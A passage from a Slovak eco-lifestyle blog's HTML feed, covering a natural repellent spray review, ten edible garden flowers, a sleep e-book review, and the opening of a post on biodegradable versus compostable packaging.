hodín a že repelentný osviežovač udáva 2 až 3 hodiny. Prečo je to tak? Logicky, slnečný olej má olejový základ a dlhšie vydrží na pokožke, na rozdiel od osviežovača, ktorý je na vodnej báze. Nás ale potešilo, že <b>rozprašovač strieka jemne</b> a nerobí mokré fľaky, takže sa <b>dobre aplikuje na pokožku, </b>ale aj<b> na textílie</b> (napríklad na závesy, záclony, oblečenie). Vyskúšali sme ho nastriekať aj na sieťkovaný košík chrániaci ovocie alebo hotové jedlo a pri stolovaní vonku sa mu veru hmyz vyhýbal oblúkom :)</p><p style="text-align: justify;"><b>Základ zloženia</b> tvorí <b>zmes hydrolátov</b> <i>(rozmarínový </i>a<i> levanduľový)</i> <b>v kombinácii s alkoholom, olejmi a esenciálnymi olejmi</b> Voniava. <i>Rozmarín, eukalyptus</i> a <i>citronela</i> ako <b>odpudzovače komárov</b> a <i>fenikel</i> alebo <i>muškátový oriešok</i> ako <b>“zbraň“ na kliešte</b>. Môžeme povedať, že jeho vôňa sa nám už teraz neodmysliteľne spája s letnými dňami, tak veľmi sa nám páči. Samozrejme, všetky dôležité a podrobné informácie o zložení a použití sa dozviete na stránke <a href="https://herbariumprojekt.sk" target="_blank">herbariumprojekt.sk</a>/ </p><p style="text-align: justify;"></p><ul><li><i><b>INCI:</b> Rosmarinus Officinalis Water*, Lavandula angustifolia Water*, Alcohol (Ethanol), Lavandula angustifolia Oil*, Cymbopogon winterianus Oil*, Foeniculum vulgare Oil*, Myristica fragrans Oil*, Pogostemom cablin Oil*, Eugenia caryophyllus Oil*, Cedrus atlantica Oil*, Rosmarinus officinalis Oil* (*organic ingredients 99%)</i></li></ul><p></p><p style="text-align: justify;">V zelenej fľaštičke zo skla s rozprašovačom sa ukrýva <b>50 ml</b> (6,90 €) alebo <b>100 ml</b> (12,90 €) repelentného osviežovača <b>s príjemnou bylinkovo – sviežou vôňou</b>. Len ho pred použitím nezabudnite <b>potriasť, aby sa zložky premiešali</b> a dosiahli ste optimálny výsledok.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWlHqTP_jChuVyO1V21I2u74dZnc4VSJbansPlUV1MjhujxJKdwC6NQlg05isnqqa4_KYnO7_BrqMM8iLWq_jB6JdYjmjV-A0ePmIMW40YN8q4sAm9NA7betz2rxEb917eAY3onxXUT6DGJt1Fwt_QMvVZPmtHin7I95OjifmJtckrtNb5JS1ClRWqAQ/s3648/herbarium-projekt-slnecny-olej-repelentny-osviezovac-vegan-03.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWlHqTP_jChuVyO1V21I2u74dZnc4VSJbansPlUV1MjhujxJKdwC6NQlg05isnqqa4_KYnO7_BrqMM8iLWq_jB6JdYjmjV-A0ePmIMW40YN8q4sAm9NA7betz2rxEb917eAY3onxXUT6DGJt1Fwt_QMvVZPmtHin7I95OjifmJtckrtNb5JS1ClRWqAQ/w640-h480/herbarium-projekt-slnecny-olej-repelentny-osviezovac-vegan-03.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtG3h7NzL25qmqa4eEhVwHXlJXiNQVKDPHXejChbwckaU-30j0KwnCdb6M6FvtkT-VVo3B8FuybmvCEAoUvayMG1tOHU5TR8OFWV3ky9xz5pw8iAlRjdCCm6v6U3e0ZdSAcYKx-rCqtBmwLdH0IfGGNy7TKysyMbGJ8x4_2z4B4da1ZuqWf8-L_sAruw/s3648/herbarium-projekt-slnecny-olej-repelentny-osviezovac-popis-04.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtG3h7NzL25qmqa4eEhVwHXlJXiNQVKDPHXejChbwckaU-30j0KwnCdb6M6FvtkT-VVo3B8FuybmvCEAoUvayMG1tOHU5TR8OFWV3ky9xz5pw8iAlRjdCCm6v6U3e0ZdSAcYKx-rCqtBmwLdH0IfGGNy7TKysyMbGJ8x4_2z4B4da1ZuqWf8-L_sAruw/w640-h480/herbarium-projekt-slnecny-olej-repelentny-osviezovac-popis-04.jpg" width="640" /></a></div><p style="text-align: justify;">Oba tieto produkty si od nás zaslúžili palec hore. Sú <b>kvalitné, organické, ekologické, prepracované</b> <b>a skvele fungujú</b>. Ak netrpezlivo odpočítavate dni do dovolenky alebo sa všetky letné dni chystáte prežiť na záhrade, mali by ste ich vyskúšať. Rozhodne stoja za investíciu! Čo vy a opaľovanie respektíve slnenie? Dávate si záležať na ochrane pokožky?</p><p style="text-align: right;">✍🏻 <i>by Veve & Lulu</i></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-77500250116716392572022-07-07T19:00:00.000+02:002022-07-07T19:00:50.245+02:0010 tipov na jedlé kvety zo záhrady<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJT8J1NehcBKBwxJhjMytkL-Mjsd1GSKhP6ZzQSKl0vk2ccZ_hJy91mgb9VosbMn5zYjvwJrUXHcOdi6RTVggdgwtRr7dO53yuOTjhXzJno2K-SHVq9eKAqx3qhrXj3LMxADGddspO5nxGAmYVozV-Lasf3kQBDSLZmoo-0qtmjdAl2nc1oa9WEeNviA/s815/bioekologika-jedle-kvety-nechtik_01.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="611" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJT8J1NehcBKBwxJhjMytkL-Mjsd1GSKhP6ZzQSKl0vk2ccZ_hJy91mgb9VosbMn5zYjvwJrUXHcOdi6RTVggdgwtRr7dO53yuOTjhXzJno2K-SHVq9eKAqx3qhrXj3LMxADGddspO5nxGAmYVozV-Lasf3kQBDSLZmoo-0qtmjdAl2nc1oa9WEeNviA/s16000/bioekologika-jedle-kvety-nechtik_01.jpg" /></a></div><br /><p style="text-align: justify;">Pravdepodobne sa zhodneme, že <b>jedlé kvety</b> vyzerajú skvele ako dekorácia hotového pokrmu, ale v mnohých prípadoch sú tiež neoddeliteľnou súčasťou už samotnej prípravy jedla. Napríklad pesto z púpavových lístkov či žihľavová polievka sú pokrmom samy o sebe a nielen jeho dekoráciou.</p><p style="text-align: justify;"></p><blockquote style="text-align: justify;"><span style="font-size: large;">Máme rady, keď sa záhrady prezentujú <b>množstvom farieb, vôní, tvarov a veľkostí kvetov.</b> Podľa nás, bez kvetov nevyzerajú záhrady tak lákavo a skôr na nás pôsobia akoby im niečo chýbalo. Kvety však neslúžia iba estetickému zámeru, rovnako <b>dôležitá je aj ich funkčnosť</b>, čo sa týka lákania opeľovačov a podporenia biodiverzity alebo významu ich nutričnej hodnoty. Preto si ich sadíme všade, kde nájdeme voľné a vhodné miesto :)</span></blockquote><p></p><p style="text-align: justify;"><b>Existuje viacero druhov jedlých kvetov</b>, ktoré obsahujú vitamíny a minerály, tak ako aj ovocie či zelenina. A dokážu skvele ochutiť a ozvláštniť tak šalát ako aj dezert a premeniť ich na majstrovské diela. Väčšina z druhov jedlých kvetov, ktoré vám chceme priblížiť, má výraznú chuť a <b>uplatnenie nájde v studenej aj v teplej kuchyni</b>. Skvelé tiež je, že tieto kvety sú dostupné, dajú sa v našich klimatických podmienkach pestovať bez problémov a niektoré z nich vydržia v záhrade celé roky.</p><p style="text-align: justify;">Viaceré z týchto druhov nie sú náročné a niektoré sa dajú označiť, že rastú ako burina, pretože ich môžete bežne nájsť aj v trávniku alebo na lúke. V tom prípade, dbajte na to, aby boli <b>pestované ekologicky</b> a boli <b>bezpečné na konzumáciu</b>. Pred ich konzumáciou však zohľadnite svoje prípadné alergické intolerancie.</p><h3 style="text-align: justify;">1. Nechtík</h3><p style="text-align: justify;">Na vhodnom mieste v záhrade sa mu bude dariť doslova tak dobre ako burine. Dokáže sa pekne rozrásť a spravidla stačí, keď sa v jeseni vysemení a na jar zasa vyklíči sám. O jeho zásobu sa teda báť nemusíte. Prednosťou je <b>korenená, intenzívna chuť a výrazná vôňa</b>, ktorá sa hodí do šalátov alebo do polievok. <b>Konzumujte okvetné lístky</b>, ktoré sa zvyknú používať <b>aj ako náhrada šafránu</b>, nie však jeho listy.</p><h3 style="text-align: justify;">2. Kapucínka</h3><p style="text-align: justify;">Je síce jednoročná rastlina, ale na zeleninovom záhone určite oceníte to, že dokáže odpudzovať vošky. Má <b>výraznú pikantnú, štipľavú a korenenú chuť</b>, pripomína reďkovku a jej púčiky sa dajú pripravovať ako kapary. Využitie má skôr v slaných jedlách, pričom <b>konzumovať sa môžu listy aj kvety</b>, ktoré majú žltú, oranžovú až červenú farbu a <b>sú vítanou ozdobou</b> šalátov, sendvičov alebo dipov.</p><h3 style="text-align: justify;">3. Fialka</h3><p style="text-align: justify;">Nájde využitie najmä pri výrobe sirupov, džemov, octov, pri kandizovaní, čiže celkovo skôr na sladké tipy jedál a dezertov. Jej <b>vôňa a chuť je výrazná a sladká</b> a konzumujú sa <b>plne rozkvitnuté kvety</b>. Za nás odporúčame nasekané kvety primiešať do masla, do tvarohu alebo ich vegánskej náhrady, spolu s kúskami jahôd a natrieť na sladké pečivo. Gurmánsky zážitok!!! </p><h3 style="text-align: justify;">4. Borák</h3><p style="text-align: justify;">Modré, hviezdicové kvety s exotickým výzorom a <b>chuťou pripomínajúcou uhorku</b>, tak to je borák. Jedlé sú <b>nielen kvety, ale aj listy</b> a dajú sa použiť do šalátu, do polievok alebo do nápojov s plátkami uhorky, citrónovou šťavou a zopár borákovými kvietkami a mätovými lístkami. Neodporúča sa nadmerná a dlhodobá konzumácia, trochu nepríjemné sú v ústach chĺpky, ktoré pokrývajú listy.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZikixCsxMYcsV6UttrZ8l35XD4fbKyPhL5c4IhIfBueKrCfALORBYx0oeYLMQgxNma7bILkHtGxx88SdLNpsR4oM2FdJarK0u7eYVWO_EbDlIRuYo8bOJ4HWJyB9I_0rs2qhrK6Lz77CDYU6_x6jcrRaFcN5Sazef5hAHJjo9m769ytoJGoCQsQV4Rw/s3648/bioekologika-jedle-kvety-ruza_02.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZikixCsxMYcsV6UttrZ8l35XD4fbKyPhL5c4IhIfBueKrCfALORBYx0oeYLMQgxNma7bILkHtGxx88SdLNpsR4oM2FdJarK0u7eYVWO_EbDlIRuYo8bOJ4HWJyB9I_0rs2qhrK6Lz77CDYU6_x6jcrRaFcN5Sazef5hAHJjo9m769ytoJGoCQsQV4Rw/w640-h480/bioekologika-jedle-kvety-ruza_02.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><i>Ruža - kráľovná jedlých kvetov</i></td></tr></tbody></table><h3 style="text-align: justify;">5. Ruža</h3><p style="text-align: justify;">V orientálnom svete má ruža už storočia špeciálne postavenie. Využíva sa v kozmetike, ale rovnako aj v kulinárskom odvetví. Ružové želé, zmrzliny, koláče sa vyrábajú <b>z plodov alebo z okvetných lístkov,</b> pričom plody <b>obsahujú významné množstvo vitamínu C</b>. Čerstvé okvetné lístky zasa môžete využiť ako <b>ozdobu šalátu</b>, na prípravu čajových zmesí alebo do studených nápojov. V podstate všetky odrody ruží sú jedlé, ale ich chuť sa výrazne líši podľa jednotlivých druhov.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq9xjD4NNsacX_GnZ5fwnhALsP2y0slCGoTPJMI5d0mZVf591iL836z2jWxoHb4d16hpGQRHwXgXPAlWi5gUkVs2AnQqgPQdo65w0UFJCFNtCFVoSRnbjX5dR7v7ZiRHK9RyhczQ4kAmwjyt3FsUG-7Tkr7N0p8YH62td7UFGeujSxzU3anX6Onf3avg/s3648/bioekologika-jedle-kvety-levandula_03.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq9xjD4NNsacX_GnZ5fwnhALsP2y0slCGoTPJMI5d0mZVf591iL836z2jWxoHb4d16hpGQRHwXgXPAlWi5gUkVs2AnQqgPQdo65w0UFJCFNtCFVoSRnbjX5dR7v7ZiRHK9RyhczQ4kAmwjyt3FsUG-7Tkr7N0p8YH62td7UFGeujSxzU3anX6Onf3avg/w640-h480/bioekologika-jedle-kvety-levandula_03.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><i>Ak máte radi vôňu levandule, je pravdepodobné, že jej chuť si zamilujete</i></td></tr></tbody></table><h3 style="text-align: justify;">6. Levanduľa</h3><p style="text-align: justify;">Trvalka, ktorá si získala miesto v našich záhradách a postupne už aj v kuchyniach. <b>Výrazná farba i vôňa</b> je dobre známym znakom stoviek druhov tejto rastliny, a tak ako sú niektoré pestované špeciálne na výrobu esenciálneho oleja, iné sú vhodnejšie na použitie do kuchyne. Výborné <b>levanduľové variety</b> <b>vhodné pri príprave pokrmov</b> sú napríklad <i>HIDCOTE, LADY, MUNSTEAD</i>. Dajú sa <b>použiť na sladko aj na slano</b>, ak s ich používaním ešte len začínate radšej pridávajte menšie množstvo a prípadne zväčšite dávku. Vynikajúco sa hodia na prípravu zmrzliny, sirupu alebo do bylinkovej omáčky alebo marinády.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7FcQwDE8nycGqqCi8u80dRmBhBqYFk7cUN8vvlTFsA70VJooZuW8IbXd1leNJcs3fpMx7gw1zZ5lrHkyNbXCt1_UL8Ta1_YQc6xB41dPyH31sxaXQUlKghrEiLDhxnRPpQhvAgSltz03FRPHBNW9daq7weY5sT5xs3q3g09Pp4TqtT_iK81fSelzIMA/s3648/bioekologika-jedle-kvety-tymian_04.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7FcQwDE8nycGqqCi8u80dRmBhBqYFk7cUN8vvlTFsA70VJooZuW8IbXd1leNJcs3fpMx7gw1zZ5lrHkyNbXCt1_UL8Ta1_YQc6xB41dPyH31sxaXQUlKghrEiLDhxnRPpQhvAgSltz03FRPHBNW9daq7weY5sT5xs3q3g09Pp4TqtT_iK81fSelzIMA/w640-h480/bioekologika-jedle-kvety-tymian_04.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><i>Tymián je jednou z najobľúbenejších kulinárskych rastlín</i></td></tr></tbody></table><h3 style="text-align: justify;">7. Mäta, Medovka, Tymián</h3><p style="text-align: justify;">Všetky tieto bylinky si ceníme najmä pre ich liečivé účinky a využívame ich pri rôznych respiračných alebo tráviacich ťažkostiach. Majú mnoho odrôd, sú <b>výrazne aromatické</b> a dajú sa pestovať aj len v nádobách, takže nevyžadujú priveľa priestoru. Ich <b>využitie je skutočne pestré</b>, do nápojov, do marinád, do šalátov, do omáčok alebo aj na sladko do dezertov. Môžu byť vždy po ruke a <b>dodať jedlu sviežu chuť a vôňu</b>.</p><h3 style="text-align: justify;">8. Pažítka</h3><p style="text-align: justify;">V bohatejšej výsadbe sa kvetinové hlavičky pažítky rozvinú a zaplavia priestor explóziou fialovej farby. <b>Kvety</b> <b>majú</b> <b>jemnejšiu chuť</b> ako listy pažítky, ale ich efekt sa dá využiť v studenej aj teplej kuchyni. Všade, <b>kde sa dá použiť pažítka, tam všade sa dajú použiť aj jej kvety</b>. Nátierka, dip, marináda, maslo, cestoviny alebo obilniny, polievka alebo omáčka atď. Malá rada od nás, pri použití kvetov pažítky je vhodnejšie jednotlivo ich oddeliť z hlavičky ako ich nechávať zoskupené v celku.</p><h3 style="text-align: justify;">9. Koriander</h3><p style="text-align: justify;">Biele, jemné až nenápadné, také sú kvety koriandra, ktoré pravidelným odstraňovaním predchádzajú tomu, aby začala rastlina tvoriť semená.<b> Chuť kvetov je jemnejšia ako listov, ale využite je rovnaké</b> tak do šalátov, cestovín, obilnín, dipov a marinád, ako aj polievok a omáčok. Pestovanie je jednoduché, nevyžaduje žiadne špeciálne podmienky, akurát vhodnejšie je slnečné stanovisko, no ani tieň nie je prekážkou.</p><h3 style="text-align: justify;">10. Tekvica, cuketa</h3><p style="text-align: justify;">Krehké a <b>chuťovo jemné kvety</b> tekvice a cukety majú žltú alebo oranžovú farbu a kvitnú od neskorej jari až do skorej jesene. Nedajú sa dlhodobo skladovať v chladničke a preto sú <b>vhodné na rýchlu prípravu</b> do šalátov alebo sa namočia v cestíčku a vysmážajú na oleji. Za zmienku tiež stojí príprava polievky z plodov tekvice alebo cukety, ich kvetov a napríklad s pridaním kukurice alebo akejkoľvek inej zeleniny podľa vlastnej chuti.</p><p style="text-align: justify;">Je takmer nemožné zhrnúť všetky <b>druhy jedlých kvetov</b> do jedného článku. Ale čo je isté, vždy je dobré, keď môžu byť jedlé kvety po ruke a dá sa z nich pripraviť pestré jedlo nielen po estetickej, ale aj nutričnej stránke. Takže, aj keď viaceré majú status ozdobných kvetov, netrhajte si ich len do vázy, ale šup s nimi do kuchyne a<b> výsledok poteší oko aj žalúdok</b> :)</p><p style="text-align: justify;">Ktoré jedlé kvety používate v kuchyni najčastejšie? U nás vedie určite kapucínka.</p><p style="text-align: right;">✍🏻 <i>by Veve & Lulu</i></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-6702464851194110212022-06-23T18:50:00.003+02:002022-06-23T18:55:28.438+02:00E-BOOK: Spánok Snov<p style="text-align: justify;"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcbtPsLcFICKthT4HZz6eQR--SKUMWXSjNeEfaQwFkm_8jjtVOu_ZJJIsamD6zm4SZJ8G3ukXEUNc7pGNIDaZ3Di57vzNay1ljUZ64265tu86_kg9jEhs8m_Ycs0-0Cw32ovWF-gmVlAJc2qX4Gz7-37INqQG8VPATI8Ld4EK2uU2Y47YIDnrThJbzTA/s815/E-book_Spanok-snov.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="543" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcbtPsLcFICKthT4HZz6eQR--SKUMWXSjNeEfaQwFkm_8jjtVOu_ZJJIsamD6zm4SZJ8G3ukXEUNc7pGNIDaZ3Di57vzNay1ljUZ64265tu86_kg9jEhs8m_Ycs0-0Cw32ovWF-gmVlAJc2qX4Gz7-37INqQG8VPATI8Ld4EK2uU2Y47YIDnrThJbzTA/s16000/E-book_Spanok-snov.jpg" /></a></div><p style="text-align: justify;"><b style="font-weight: bold; text-align: left;">Spánok</b><span style="text-align: left;"> sa považuje za absolútne </span><span style="text-align: left;"><b>nevyhnutnú súčasť nášho života</b></span><span style="text-align: left;"><b>.</b> Pochopiteľne, každý z nás je iný a každý z nás má naň iné nároky. </span><span style="text-align: left;"><b>Kvalita spánku aj jeho dĺžka sa počas života menia</b></span><span style="text-align: left;"> a je to celkom prirodzené. Pravdou však zostáva fakt, že </span><span style="text-align: left;"><b>prespíme asi 1/4 svojho života</b></span><span style="text-align: left;">, čo rozhodne nie je zanedbateľné. Určite sa teda zhodneme, že všetci potrebujeme spať, ale čo je najdôležitejšie, potrebujeme spať naozaj kvalitne.</span></p><p></p><p style="text-align: justify;"></p><blockquote style="text-align: justify;"><span style="font-size: large;">Zdá sa vám, že načo sa zo spánku robí taká "veda"? Veď nie je nič jednoduchšie ako si ľahnúť do postele a zaspať. Lenže, <b>nie pre každého je rýchle</b> <b>zaspávanie a spánok samozrejmosťou. </b></span></blockquote><p></p><p style="text-align: justify;">Naše telo nám dáva rôznymi spôsobmi najavo, že niečo nie je v poriadku. Neustále nám vysiela signály, ktoré nás upozorňujú, čomu by sme mali venovať zvýšenú pozornosť. <b>Keď sa dobre nevyspíme,</b> môžeme na sebe pozorovať <b>celý rad následkov</b> v podobe zlej nálady, straty energie, zníženej koncentrácie, čo môže v ťažších prípadoch vyústiť až do depresívnych nálad a smútku. Príznakov je veľa a je nemožné ich ignorovať. Ak trpíte týmito problémami alebo máte vo svojom okolí niekoho, pre koho je táto<b> téma aktuálna</b>, venujte pozornosť e-booku, ktorý vám chceme predstaviť.</p><p style="text-align: justify;"><span style="font-size: large;"><b>Spánok snov</b>,</span> to je názov e-booku, ktorý vám chceme dať do pozornosti. Jeho autorkou je <b>Janka,</b> <b>spánková a vzťahová koučka.</b> Možno Janku poznáte z jej <a href="http://biankacosmetics.blogspot.com/" target="_blank">blogu</a>, ak nie, choďte sa k nej pozrieť, načerpáte tiež inšpirácie z oblasti kozmetiky, kníh, ale aj osobného rozvoja.</p><p style="text-align: justify;">Pokiaľ ide o problémy so spánkom e-book je jej autorským dielom, v ktorom <b>popisuje svoje skúsenosti s problémami so spánkom a zároveň vysvetľuje dôvody</b>, prečo sa to deje, <b>ponúka techniky ako zaspať</b>, ako by mala vyzerať <b>spánková hygiena</b> a rozoberá, ktoré <b>netradičné faktory</b> môžu vplývať na náš spánok. Našťastie, my dve so spánkom problémy nemáme, ale s pokojným svedomím vám e-book po prečítaní môžeme odporúčať. Janka nám ho poskytla na výmenu za túto recenziu, a napriek tomu, že netrpíme nespavosťou, našli sme v ňom <b>veľa užitočných tipov a odporúčaní</b>, ktoré môže aplikovať naozaj každý a presvedčiť sa, že aj malé detaily rozhodujú. Najužitočnejšie rady človek dostane od niekoho, kto si podobnými problémami prešiel a našiel cestu, ako sa s nimi vysporiadať. V tomto prípade, sa môžete spoľahnúť, že Janka vie, o čom píše a na základe jej skúseností a výsledkov v e-booku si utvoríte predstavu, čo vás čaká, ak si s ňou dohodnete napríklad aj konzultáciu. Kontaktovať ju môžete viacerými <a href="https://www.biankanotesbyjanka.sk/kontakt/" target="_blank">spôsobmi</a>. </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhc0yUje76rKWEg97Vilty1I5W4e4xqLtVdU3Ylsxy17tOaDR2AgOIXWJvXKQ_H1PflozpDv9-pNU7DkOxNI0JbnUblyqGSXyJh-8WX3FU8BoljqwgNcL9eZvz3XQixgxEwxL4hx1WLk3ZWXcDUg_c4C_7CQY68cYt455iQzEtdxOWxp1jDXA3z3kr2Aw/s1920/E-book_Spanok-snov-1.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1280" data-original-width="1920" height="427" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhc0yUje76rKWEg97Vilty1I5W4e4xqLtVdU3Ylsxy17tOaDR2AgOIXWJvXKQ_H1PflozpDv9-pNU7DkOxNI0JbnUblyqGSXyJh-8WX3FU8BoljqwgNcL9eZvz3XQixgxEwxL4hx1WLk3ZWXcDUg_c4C_7CQY68cYt455iQzEtdxOWxp1jDXA3z3kr2Aw/w640-h427/E-book_Spanok-snov-1.jpg" width="640" /></a></div><p style="text-align: justify;">Ruku na srdce, koľkí z nás majú <b>večer pred spaním</b> v rukách mobilné telefóny a sledujú dianie „social“ až do vyčerpania. A pritom, hoci nás to unavuje, <b>spánok neprichádza</b> alebo výrazne<b> trpí jeho kvalita</b> a následne aj naše výkony v nasledujúci deň. Rovnako týmto spôsobom na spánok a psychiku vplývajú <b>negatívne informácie</b> z domova a zo sveta, <b>tragické</b> filmové alebo knižné <b>príbehy</b>, <b>nevhodná strava</b> ale aj neskorý odchod do postele. <b>Riešenia a odpovede</b> ako sa dopracovať k zdravému spánku, aký režim si nastaviť a ktoré faktory vo svojom živote sledovať, aby sa spánok zlepšil, na toto všetko sa zameriava <b>e-book Spánok Snov</b>. Ak sa chcete v živote posunúť a pokúsiť <b>nájsť cestu k zdravému spánku</b>, spolu s Jankinými skúsenosťami a svojou vôľou, môžete opäť objaviť hodnotu spánku. No a ak sa vám aktuálne nedarí, nezúfajte, oddýchnite si, dovoľte si načerpať silu a naštartujte pozitívne myslenie.</p><p style="text-align: justify;"><b>Spánok</b> je na jednej strane <b>prirodzená potreba</b>, na druhej je plný tajomstiev, ale do veľkej miery ho máme vo svojich rukách. Sami si vytvárame podmienky pre <a href="https://www.biankanotesbyjanka.sk/produkt/ebook/" target="_blank">kvalitný spánok</a> a tým do istej miery ovplyvňujeme aj svoj zdravotný stav. Ak nechcete problémy so spánkom riešiť iba medikamentmi alebo sa chcete pokúsiť obmedziť ich dávky na minimum, ak chcete spánok čistý a plný energie, <b>e-book Spánok Snov</b> je pre vás ideálny.</p><br /><b>Originálny názov:</b> <a href="https://www.biankanotesbyjanka.sk/produkt/ebook/" target="_blank">Spánok snov</a><br /><b>Autor: </b>Janka Bašistová<br /><b>Vydavateľstvo:</b> Biankanotes by Janka<br /><b>Žáner:</b> psychológia, motivácia, rozvoj osobnosti<div><br /><p style="text-align: justify;"><span style="font-size: large;">Na záver pridávame aj <b>zopár zaujímavých faktov o spánku</b>. Niektoré sú všeobecne známe a iné možno aj trochu prekvapujúce alebo zábavné:</span></p><p style="text-align: justify;"></p><ul><li>Asi 15 % populácie je námesačných.</li><li>Niektorí ľudia majú sny len v čierno - bielej farbe.</li><li>V novej posteli sa môže predĺžiť čas spánku. </li><li>Nikto nespí počas celej noci bez prerušovania. </li><li>My ľudia, sme jediní cicavci, ktorí vedome dokážu oddialiť spánok, aj keď ho telo potrebuje.</li><li>Spánok posilňuje imunitu. </li><li>Zaspávanie by malo ideálne trvať 10 - 15 minút. </li><li>Jedna noc bez spánku má na náš organizmus rovnaký vplyv ako stav opitosti. </li><li>Počas spánku majú ženy viac emotívne sny alebo trpia na nočné mory, na rozdiel od mužov.</li></ul><p></p><p></p><div style="text-align: right;"><br /></div><div style="text-align: right;">✍🏻 <i>by Veve & Lulu</i></div><div style="text-align: right;"><i><span style="font-size: x-small;">zdroj foto: pexels</span></i></div><p></p></div>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-62169752396707082442022-06-01T19:00:00.004+02:002023-05-30T15:38:33.295+02:00Biodegradovateľné vs. kompostovateľné<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEpLCz4T2G9hyU9MDMUqIuFIHScHlI6Hy0WWZBGIom7V6w8YwTrjm3xtz5ehldvzdieuZpm38hE8W_JKVcgF9G5pD0f8UqIH0EacHXxcXHksBJAeRHQECSmbPAYoXU5mU9MV9G-83PsDnxjtIJcb6YTnCC-aID_gd9VjXIdVkfelOCE-3x4xdLGwPMcA/s815/biodegradovatelne-vs-kompostovatelne.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="543" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEpLCz4T2G9hyU9MDMUqIuFIHScHlI6Hy0WWZBGIom7V6w8YwTrjm3xtz5ehldvzdieuZpm38hE8W_JKVcgF9G5pD0f8UqIH0EacHXxcXHksBJAeRHQECSmbPAYoXU5mU9MV9G-83PsDnxjtIJcb6YTnCC-aID_gd9VjXIdVkfelOCE-3x4xdLGwPMcA/s16000/biodegradovatelne-vs-kompostovatelne.jpg" /></a></div><p style="text-align: justify;">Je to v podstate jednoduché a pre každého by to malo byť aj prirodzené, že odpad patrí do koša. A keď ho naozaj aj <b>dôkladne triedime a recyklujeme</b>, môžeme byť tou povestnou kvapkou v mori, ktorá vo výsledku dokáže veľké, pre ekológiu prospešné, veci.</p><p style="text-align: justify;"><b>Problém s nadmernou produkciou odpadu</b>, a špeciálne toho plastového, sa v podstate nedá nazvať inak ako katastrofálny. Množstvo spotrebovaných tovarov balených v materiáloch rôzneho pôvodu už dávno presiahlo alarmujúce hranice a skutočne len malá časť akéhokoľvek vyzbieraného odpadu sa dá efektívne zrecyklovať. Mnohé spoločnosti na trh uvádzajú obaly, ktoré sú ekologickejšie, ale celkový <b>problém s odpadom</b> a jeho následným spracovaním to zásadne nerieši. Naopak, práve preto často vzniká <b>odpad zo zmesových materiálov, ktorý nie je možné recyklovať a ďalej využívať.</b> Označenia o výrobe obalu, ktorý je vyrobený z takého alebo takého papiera alebo už zrecyklovaného plastu, ale zároveň nie výhradne iba z neho čím sa znemožňuje proces recyklácie, tak značia skôr o greenwashingu spotrebiteľov.</p><p style="text-align: justify;"></p><blockquote style="text-align: justify;"><span style="font-size: large;">Skutočne <b>lepším riešením sa javia obaly</b> označované ako <b>biodegradovateľné - biologicky rozložiteľné</b> alebo obaly označované ako <b>kompostovateľné</b>. Úžasný technologický nápad, čo poviete? Problém však je, že tieto 2 pojmy sa často mylne považujú za rovnocenné, a pritom každý z nich znamená niečo iné. A pritom <b>porozumieť im je dôležité</b> aj preto, aby sme vedeli, čo môžeme dať do svojho kompostoviska.</span></blockquote><p></p><h3 style="text-align: left;">Biodegradovateľné vs. kompostovateľné</h3><p style="text-align: justify;">Prvé, čo treba vedieť je, že <b>kompostovateľné 